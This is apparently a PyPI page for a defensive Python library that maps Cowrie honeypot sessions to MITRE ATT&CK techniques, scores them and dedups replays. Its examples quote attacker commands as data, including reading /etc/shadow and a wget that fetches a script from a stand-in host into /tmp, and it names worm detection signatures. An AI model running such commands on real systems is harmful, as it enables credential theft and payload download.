Structured MITRE ATT&CK mapping, a deterministic threat score, and replay dedup from raw Cowrie honeypot logs.
Project description
Honeypot → MITRE
Turn raw Cowrie SSH/Telnet honeypot logs into structured MITRE ATT&CK mappings, a threat score, and a replay-dedup key — with zero infrastructure.
The problem it solves
A busy honeypot produces a firehose of JSON events. What you usually want out the other end is simple: for each session, what did the attacker do, how dangerous was it, and is this just the same worm hitting me from 500 different IPs? This library answers exactly that, deterministically, from the raw logs:
- structured ATT&CK — each command mapped to MITRE tactics/techniques;
- a score — a single 0–100 deterministic threat number per session;
- replay dedup — an order-independent signature that collapses the same payload arriving from a botnet's worth of IPs into one incident.
No database, no Redis, no message queue, no web framework, no LLM required. The default path is pure Python standard library.
Install
pip install .
# optional LLM enrichment (not required for anything below):
pip install ".[llm]"
Requires Python ≥ 3.10.
Quickstart
from honeypot_mitre import parse_sessions, analyze_session
for session in parse_sessions("cowrie.json"):
record = analyze_session(session)
print(record["session_id"], record["score"], record["techniques"])
Or call the building blocks directly:
from honeypot_mitre import map_techniques, score_session, classify_actor, dedup_key
cmds = ["uname -a", "whoami", "cat /etc/shadow"]
map_techniques(cmds) # -> {'dominant_stage': 'credential_access', 'techniques_used': [...], ...}
score_session(cmds) # -> int 0..100
classify_actor(cmds, duration=3.0) # -> {'actor_label': 'botnet_node', ...}
dedup_key(cmds) # -> 16-char order-independent signature
See examples/quickstart.py and
examples/sample_cowrie.json.
CLI
python -m honeypot_mitre examples/sample_cowrie.json
# or pipe from stdin:
cat cowrie.json | python -m honeypot_mitre -
# installed console script:
honeypot-mitre examples/sample_cowrie.json --pretty --min-score 50
Emits one JSON record per session:
{
"session_id": "a1b2c3d4",
"src_ip": "203.0.113.10",
"commands": ["uname -a", "whoami", "cat /etc/shadow", "wget http://example.invalid/x.sh -O /tmp/x.sh"],
"techniques": ["T1016", "T1033", "T1057", "T1082", "T1592", "T1595"],
"dominant_stage": "reconnaissance",
"progression": ["reconnaissance"],
"confidence": 0.85,
"score": 31,
"actor_label": "automated_scanner",
"campaign_indicators": [],
"dedup_key": "905830e685fbbb20"
}
How it works
One Cowrie session, end to end: raw JSON events are parsed into a session, mapped to
MITRE ATT&CK, scored, actor-classified, and reduced to an order-independent replay-dedup
key — all deterministically, from the standard library alone. The values shown are the
real output of examples/sample_cowrie.json.
Mapping (map_techniques)
Each command line is lower-cased and tested against a hand-curated table of
substrings, one per kill-chain stage (reconnaissance, persistence,
privilege_escalation, defense_evasion, credential_access, lateral_movement,
collection, exfiltration, command_and_control, impact). The first matching
stage wins; its techniques are accumulated. The dominant stage is the most-recently
reached known stage in the session.
Scoring (score_session)
A single deterministic formula, capped at 100:
score = base_for_stage + (commands * 2) + (distinct_techniques * 3)
base_for_stage is the per-stage base for the dominant stage:
| stage | base | stage | base | |
|---|---|---|---|---|
| impact | 40 | lateral_movement | 20 | |
| exfiltration | 35 | defense_evasion | 15 | |
| credential_access | 30 | persistence | 15 | |
| command_and_control | 30 | collection | 10 | |
| privilege_escalation | 25 | reconnaissance | 5 |
Unknown / unmatched stage defaults to a base of 5.
Actor overrides (classify_actor)
A coarse volume-based guess (human_operator if >5 commands, else
automated_scanner) is corrected by two deterministic rules. These change the
label only, never the score:
- Outlaw / Dota worm — a session whose commands contain both
mdrfckrandauthorized_keysis taggedbotnet_node+outlaw_mdrfckr_worm. - Sub-15s scripted session — if it ran ≥1 command and opened-and-closed in under
15 seconds, any
human_operatorguess is demoted tobotnet_node.
Dedup (dedup_key, InMemoryDedupStore)
The dedup key is sha256("\n".join(sorted(commands)))[:16] — order-independent, so
the same payload in any sequence collapses to the same key. InMemoryDedupStore
groups every source IP under a signature and reports the first occurrence within a
15-minute TTL window as the one alert to fire; later identical payloads are
suppressed. A RedisDedupStore adapter is provided for cross-process sharing (the
Redis client is injected — nothing connects on import).
Optional LLM enrichment
The deterministic path needs no LLM. If you want extra narrative enrichment, install
the [llm] extra and pass an Analyzer:
from honeypot_mitre import analyze_session, AnthropicAnalyzer
record = analyze_session(session, analyzer=AnthropicAnalyzer(api_key="..."))
record["llm"] # free-form model output, never affects the deterministic score
You supply your own key; this package embeds none.
Honesty caveats
This is a rules engine, not a classifier. Be clear-eyed about what that means:
- Substring matching is crude. Mapping is literal case-insensitive substring
containment, so it both over-matches (
catmatchescat /etc/shadowand benigncat README) and under-matches anything obfuscated, base64-piped, or renamed. - Confidence is hardcoded, not learned. Every match carries a fixed
0.85confidence — it is a label, not a calibrated probability. There is no training data and no model behind the deterministic path. - The score is heuristic. The weights are reasonable defaults, not validated against a ground-truth corpus. Treat it as a triage signal, not a verdict.
- Actor labels are coarse. Two timing/signature heuristics catch common cases; they will misclassify clever or unusual sessions.
It is genuinely useful for triage, dashboards, and replay collapsing — just don't mistake it for ML.
License
MIT — see LICENSE. Copyright (c) 2026 niffy_hunt.
Part of the WraithWall project — https://wraithwall.online · by niffy_hunt
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file honeypot_mitre-0.1.0.tar.gz.
File metadata
- Download URL: honeypot_mitre-0.1.0.tar.gz
- Upload date:
- Size: 229.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bdc7d2cba077a7319ff5c29b2bc6a530a67f96fa1eff5dcd76b8dc46635cd695
|
|
| MD5 |
06c40ab04b0dbe7d9656f150929a03ed
|
|
| BLAKE2b-256 |
e26f2ae66108374a7040c152e4c8ccecb801631d70953daf47c7aa75438468be
|
File details
Details for the file honeypot_mitre-0.1.0-py3-none-any.whl.
File metadata
- Download URL: honeypot_mitre-0.1.0-py3-none-any.whl
- Upload date:
- Size: 21.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e23daab88c02c8fa85cba3545ab4028e988ee27b94e8d8afffcabdf16dec4f72
|
|
| MD5 |
eeb73dbc336c24a0e4eb23389642469c
|
|
| BLAKE2b-256 |
583f5a77618c87cecf1e92ae1c9ac6c27f7a98e980784f077fa1a0b8cfab9bfa
|